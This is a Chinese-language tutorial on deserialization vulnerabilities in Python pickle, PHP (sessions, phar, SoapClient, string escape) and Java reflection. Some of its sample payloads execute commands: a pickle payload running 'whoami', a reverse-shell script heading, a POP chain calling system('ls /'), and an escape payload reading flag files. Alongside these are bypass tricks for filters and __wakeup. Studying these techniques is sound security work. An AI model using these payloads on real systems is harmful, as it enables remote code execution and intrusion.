原理
序列化: 把对象转换为字节序列的过程,即把对象转换为可以存储或传输的数据的过程(如 JSON、XML、二进制流等)
反序列化: 把字节序列恢复为对象的过程,即把可以存储或传输的数据转换为对象的过程,也可以说就是将压缩格式化的对象还原成初始状态的过程
注意
- 反序列化的时候一定要保证在当前的作用域环境下有该类存在
- 在反序列化攻击的时候是依托类属性进行攻击,能控制的只有类的属性。在攻击流程中,我们就是要寻找合适的能被我们控制的属性,然后利用它本身的存在的方法,在基于属性被控制的情况下发动发序列化攻击
python 反序列化漏洞
pickle 模块使用
pickle.dump
或pickle.dumps()
函数序列化对象;使用pickle.load()
或pickle.loads()
函数反序列化对象
__reduce__
方法提供了如何序列化对象及如何反序列化重建对象的详细信息。具体来说,它返回一个元组,其中包含足够的信息来重建对象。在进行序列化或反序列化时,如果这个对象定义了 __reduce__
方法,pickle 则模块会调用该方法
利用 pickle 和 __reduce__
生成执行命令的 payload
1 | import pickle |
上面代码运行后会生成执行 whoami
命令的 payload:
1 | Payload: b'\x80\x04\x95!\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.' |
pickle 模块对该 payload 进行反序列时,会造成命令执行
1 | cookie=b'\x80\x04\x95!\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.' |
反弹 shell 脚本
1 | import pickle |
手写 opcode
待。。。
PHP 反序列化漏洞
PHP中通常使用
serialize
函数进行序列化;使用unserialize
函数进行反序列化
serialize
函数输出格式:
- NULL : N
- Boolean : b:0 或 b:1(false 或 true)
- Integer : i:数值 (i:123)
- Float : d:数值 (d:1.23)
- String : s:长度:”值” (s:4:”test”)
- Object : O:类名长度:类名:字段数:字段 (O:8:”ClassName”:1:{s:3:”key”;s:5:”value”;} )
如对下面类 A 进行序列化
1 |
|
得到结果:
1 | O:1:"A":1:{s:4:"test";s:5:"Hello";} |
PHP 中序列化后的数据并没有像 Python 一样包含函数 __construct
和 print
的信息,而仅仅是类名和成员变量的信息。因此,在 unserialize
函数的参数可控的情况下,还需要代码中包含魔术方法才能利用反序列化漏洞
注:在序列化 private 声明的字段时候,类名和字段名前面都会加上 \0 的前缀,字符串长度也包括所加前缀的长度。这个在复制的时候是看不到的,需要手动改为 %00
注:在序列化 protected 声明的字段的时候,会出现乱码,可以删除乱码将受保护的对象转换为公共对象,如
s:5:" * op";i:2;
更改为s:2:"pop";i:2;
注:PHP7 构造利用链时,可以将对象中的
private
、protected
属性的变量都更改为public
后再进行赋值构造,不会影响正常反序列化 ,这和上一条注意事项原理一致,即改变成员变量属性不会影响正常的序列化和反序列化进程
PHP 魔术方法
__construct()
:当对象创建时自动调用__wakeup()
:unserialize()
时先会调用这个函数,执行后不会执行__construct()
函数__unserialize()
:在对象被反序列化时自动执行,该方法接受一个参数,即反序列化时传入的数据数组,其中包含了序列化的属性和值。(如果类中同时定义了__unserialize()
和__wakeup()
两个魔术方法,则只有__unserialize()
方法会生效,__wakeup()
方法会被忽略)__destruct()
:当对象被销毁时会自动调用__toString()
:当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用。例如执行echo new test();
其就会自动调用对象中的__toStrong()
方法;。在PHP5.2以前,__toStrong()
函数只有在echo
、print
时才生效;PHP5.2 以后则可以在任何字符串环境生效(例如通过printf
,使用 %s 修饰符),但不能用于非字符串环境(如使用 %d修饰符)。自 PHP 5.2.0 起,如果将一个未定义__toString()
方法的对象转换为字符串,会产生
E_RECOVERABLE_ERROR 级别的错误。此外,还有如下情况会触发此函数:- 反序列化对象与字符串连接时
- 反序列化对象参与格式化字符串时
- 反序列化对象与字符串进行
==
比较时 - 反序列化对象参与格式化SQL语句,绑定参数时
- 反序列化对象在经过php字符串函数,如
strlen()
、addslashes()
时 - 在
in_array()
方法中,第一个参数是反序列化对象,第二个参数的数组中有 toString 返回的字符串的时候 toString 会被调用 - 反序列化的对象作为
class_exists()
的参数的时候
__get()
:当从不可访问或不存在的属性读取数据。例如从对象外部访问由private
和protect
修饰的属性,就会调用该方法,其中传递的形参为访问属性的属性名__call($function, $parameters)
:在对象中调用一个不可访问或不存在的方法时调用,其中,方法名会作为__call()
的第一个参数传入($function
),而不存在方法的参数会被装进数组中作为第二个参数传入($parameters
)__invoke()
:当一个对象被当作函数调用时触发__unset()
:销毁一个不存在的属性时(如unset($this->handle->log)
),会自动调用__isset()
:当对不可访问属性调用isset()
或empty()
时调用__clone()
,当对象复制完成时调用
PHP Session 反序列化
PHP Session 配置
在 php.ini 中以下几个配置项与 Session 存储配置有关:
session.save_path=""
- session 存储路径session.save_handler=files
- session 存储方式session.auto_start=0
- 是否自动启动 sessionsession.serialize_handler
- session 序列化引擎,该配置项有以下几个选项
php(默认引擎):存储格式为 “键名|序列化的值”
1 | name|s:4:"test"; |
php_binary:存储格式为 “键名长度的 ASCII 字符+键名+序列化的值”
1 | [EOT]names:4:"test"; |
php_serialize:存储格式为 “序列化的值”
1 | a:1:{s:4:"name";s:4:"test";} |
Session 反序列化漏洞
如果 PHP 在序列化存储 $_SESSION
使用的引擎和反序列化使用的引擎不一致,会导致数据无法正确的反序列化
1 | ini_set('session.serialize_handler', 'php_serialize'); |
例如,如果使用 php_serialize 引擎存储下面的 $_SESSION
1 | $_SESSION['name'] = '|O:1:"A":1:{s:4:"name";s:5:"admin";}'; |
则最终存储在 session 文件中的内容为:
1 | a:1:{s:4:"name";s:36:"|O:1:"A":1:{s:4:"name";s:5:"admin";}";} |
而如果其他页面使用不同的引擎,则会导致错误的解析
如使用 php 引擎来读取上面的 session 内容,由于 php 引擎会以 |
作为 key 和 value 的分割符,那么会将 a:1:{s:4:"name";s:36:"
作为 session 的 key,将 O:1:"A":1:{s:4:"name";s:5:"admin";}";}
作为 value,然后反序列化得到 A 这个类
PHP 反序列化绕过
绕过正则
preg_match('/^O:\d+/')
匹配序列化字符串是否是对象字符串开头
+
号绕过:'O:4'
->'O:+4'
- 将要序列化的对象放在数组中绕过:
serialize(array($a))
preg_match('/ctfshow/', $cs
匹配类名
- 大小写类名绕过:
CtFShOw
绕过 __wakeup
方法
反序列化的时候会首先执行 __wakeup
方法,但有时候需要绕过 __wakeup
方法,直接执行 __destruct
方法,因此需要进行绕过
利用条件:php<7.0.3
当属性个数大于实际属性个数的时候,会直接执行 __destruct
方法,如下所示:
原语句有两个属性
1 | select=O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} |
将表示属性个数的数字加一
1 | select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} |
对象属性引用另一个对象的属性
有一种情况,__wakeup
无法绕过(如 php 版本为 7.4.5),且该函数会改变我们需要利用的目标属性值(下例中的 value
),但我们又要让目标属性值可控
此时如果有另一个对象中的属性值(下例中的 username
)可控,我们便可以让这个目标属性的指针指向另一个对象的属性
方法如下:
如下所示,我们需要让 value
的指针指向 username
属性上
1 |
|
则可以构建如下代码进行引用:
1 | $user = new User() |
这里的 $b->aaa=$a;
是为了让 value
成功指向 username
只有这样,value
的值才是个引用值,结果如下所示 (R:2
)
1 | O:4:"User":2:{s:8:"username";s:5:". ./*";s:3:"aaa";O:4:"Test":1:{s:5:"value";R:2;}} |
不加这一句的话指向会不成功, value
序列化后不会是引用类型
phar 反序列化
利用条件:
- phar文件要能够上传到服务器端
- 可用的魔术方法
- 文件操作函数可控
phar 文件结构
phar 是 PHP 的一个归档文件格式,可以用于打包多个文件,类似于 zip 文件。PHP 内置了处理相关操作的 Phar
类,php.ini 中的 phar.readonly
配置项控制是否允许创建 phar 文件
phar 文件结构主要由四部分组成:
- Phar file stub (头部标识)
格式为
xxx<?php xxx; __HALT_COMPILER();?>
前面
xxx
内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则 phar 扩展将无法识别这个文件为 phar 文件
- Phar manifest file entry definition (内容清单)
phar 文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分
这部分还会以序列化的形式存储用户自定义的 meta-data,这是上述攻击手法最核心的地方
- the file contents
被压缩的文件内容
- (optional) a signature for verifying Phar integrity (phar file format only)
文件签名,在文件末尾
phar 测试用例
1 |
|
上述代码会生成 phar.phar 文件,其中 meta-data 以序列化的形式存储
phar 漏洞利用
php 大部门的文件系统函数在通过 phar://
伪协议解析 phar 文件时,都会将 meta-data 反序列化,包括以下函数:
phar 反序列化测试用例:
1 |
|
绕过方式
限制 phar 字符不能出现在前面,可以使用
compress.bzip2://
、compress.zlib://
等绕过1
2
3compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt利用
filter
过滤器1
php://filter/read=convert.base64-encode/resource=phar://phar.phar
GIF 格式验证可以通过在文件头部添加
GIF89a
绕过1
2
3
4
5
6
7
8
9
10
11
12
13
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();过滤
__HALT_COMPILER();
将 phar 文件进行 gzip 压缩 ,使用压缩后 phar 文件同样也能反序列化 (常用),linux 下使用 gzip 命令进行压缩
1
gzip phar.phar
将 phar 的内容写进压缩包注释中,也同样能够反序列化成功,压缩为 zip 也会绕过
1
2
3
4
5
6
7$phar_file = serialize($exp);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();
- 修改 phar 签名
某些情况需要修改 phar 文件中的内容而达到某些需求(比如要绕过 __wakeup
要修改属性数量),而修改后的 phar 文件由于文件发生改变,所以须要修改签名才能正常使用,phar 支持签名的格式有 MD5、SHA1、SHA256、SHA512 和 OPENSSL
字节长度 | 描述 |
---|---|
可变的 | 实际的签名长度,SHA1 签名占用 20 字节,MD5 签名占用 16 字节,SHA256 签名占用 32 字节,而 SHA512 签名为 64 字节,OPENSSL 格式的签名长度取决于私钥的大小 |
4 字节 | 签名标志。0x0001 用于MD5,0x0002 用于SHA1,0x0003 代表了 SHA256,0x0004 表示为 SHA512,0x0010 用于定义 OPENSSL |
4 字节 | GBMB 末尾标识 |
修改签名测试用例:
1 | def getPhar(): |
垃圾回收机制
1 | throw new Exception("Nope"); |
在 php 中,当对象被销毁时会自动调用 __destruct()
方法,但如果程序报错或者抛出异常,就不会触发该魔术方法
__destruct()
魔术方法的触发条件就是一个类被销毁时触发,而 throw
函数就是回收了自动销毁的类,导致 __destruct
检测不到有东西销毁,从而也就导致无法触发 __destruct
函数
绕过 throw
异常方法有以下三个:
- 数组对象设为 NULL
- 去掉序列化最后一个中括号
- 修改属性数字
数组对象设为 NULL
将对象放在数组中一起进行序列化,如下所示:
1 | $s=new Start(); //原序列化对象 |
得到结果
1 | a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}i:1;i:0;} |
然后将第二个元素的键值改为 0
1 | a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}i:0;i:0;} |
因为当反序列化的时候第一层接受到的是一个包含两个元素的数组,该数组第一个元素是一个对象,其类名为 Start
,第二个元素是一个整数 0。把第二个 i
后面的值改为 0 后,使得数组对象为空。异常在这一层就抛出来,而已经序列化成功的 $s
(pop链)正常执行
SoapClient
原生类利用
SOAP 协议本质上其实还是 HTTP 协议,只是改变了传输过程中的内容为 XML 形式
SoapClient
的魔术方法 __call
,当访问类中一个不存在的方法时触发,该方法就会被传递给 __call
方法进行处理,并将其转化为一条SOAP 请求发送给 Web 服务
利用 SoapClient
打 redis 如下所示
1 |
|
我们使用 nc -l 6379
监听 Soap 发送的消息格式如下图所示,可以看到 Soap 传输内容为 XML 格式
此外,也可以伪造 HTTP 的 POST 请求,添加自定义的请求头部(如 X-Forwarded-For
、Content-Type
),并添加 post 数据
注意,添加自定义 post 数据需要更改 Content-Length
的值
1 |
|
同样,监听 Soap 发送的消息,如下图:
上图相当于伪造了一个 HTTP 的 POST 请求。其中,红框为有效部分,因为 Content-Length
设置了 13,超出13个字符以外的都会被服务器丢弃,所有后面的部分影响不大
php 反序列化字符串逃逸
PHP 反序列化时,会有以下几种特点:
PHP 在反序列化时,底层代码是以
;
作为字段的分隔,以}
作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化。
例如下图超出的 abcd
部分并不会被反序列化成功:
当序列化的长度不对应的时候则会出现报错
可以反序列化类中不存在的元素
1 |
|
字符逃逸的本质其实也是闭合,但是它分为两种情况,一是字符变多,二是字符变少
字符变多
当存在一个过滤函数,过滤序列化后的字符串时会让字符串中的字符变多,如下所示:
1 | function waf($str){ |
那么可以计算需要构造的代码长度构造合适的 payload,进行逃逸
1 | key = badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:8:"cat /fl*";} |
Java 反序列化漏洞
Java 中通常使用
Java.io.ObjectOutputStream
类中的writeObject
方法进行序列化;使用Java.io.ObjectInputStream
类中的readObject
方法进行反序列化
Java 序列化数据格式始终以 0xAC ED 00 05
开头,前两个字节是固定的,后两个字节为版本号
一个类的对象要想序列化,必须满足两个条件:
- 该类必须实现
java.io.Serializable
接口 - 该类的所有属性必须是可序列化的
如下类所示:
1 | // 定义一个实现 java.io.Serializable 接口的类Test |
现实环境中需要去寻找 POP 链
Java 反射机制
Java 反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法;这种动态获取的信息以及动态调用对象的方法的功能称为 Java 语言的反射机制
获取反射中的 Class 对象的三种方法:
clazz = Class.forName("com.meituan.data.springbootdemo.User")
: 通过类的全限定名获取 Class 对象clazz = user.getClass()
:clazz = User.class
: 只适合在编译前就知道操作的 Class
判断一个 Class 对象是否是某个类的实例的两种方法:
isInstance = user instanceof User
isInstance = clazz.isInstance(user)
通过反射创建实例对象的两种方法:
- Class 对象的
newInstance
方法1
2Class clz = Apple.class;
Apple apple = (Apple)clz.newInstance(); - Constructor 对象的
newInstance
方法1
2
3Class clz = Apple.class;
Constructor constructor = clz.getConstructor();
Apple apple = (Apple)constructor.newInstance();
通过反射获取类的属性:
- 通过 Class 对象的
getFields()
方法可以获取 Class 类的属性,但无法获取私有属性1
2
3
4
5Class clz = Apple.class;
Field[] fields = clz.getFields();
for (Field field : fields) {
System.out.println(field.getName());
} - 使用 Class 对象的
getDeclaredFields()
方法则可以获取包括私有属性在内的所有属性1
2
3
4
5Class clz = Apple.class;
Field[] fields = clz.getDeclaredFields();
for (Field field : fields) {
System.out.println(field.getName());
}
通过反射获取类的方法并调用该方法(invoke):
1 | Method method = clazz.getMethod("getAge",null); System.out.println(method.invoke(user)); |
FastJSON 反序列化漏洞
。。。
参考
[1]. 反序列化漏洞及各种绕过姿势
[2]. 常见的Web漏洞——反序列化漏洞
[3]. pickle 反序列化初探
[4]. 大白话说Java反射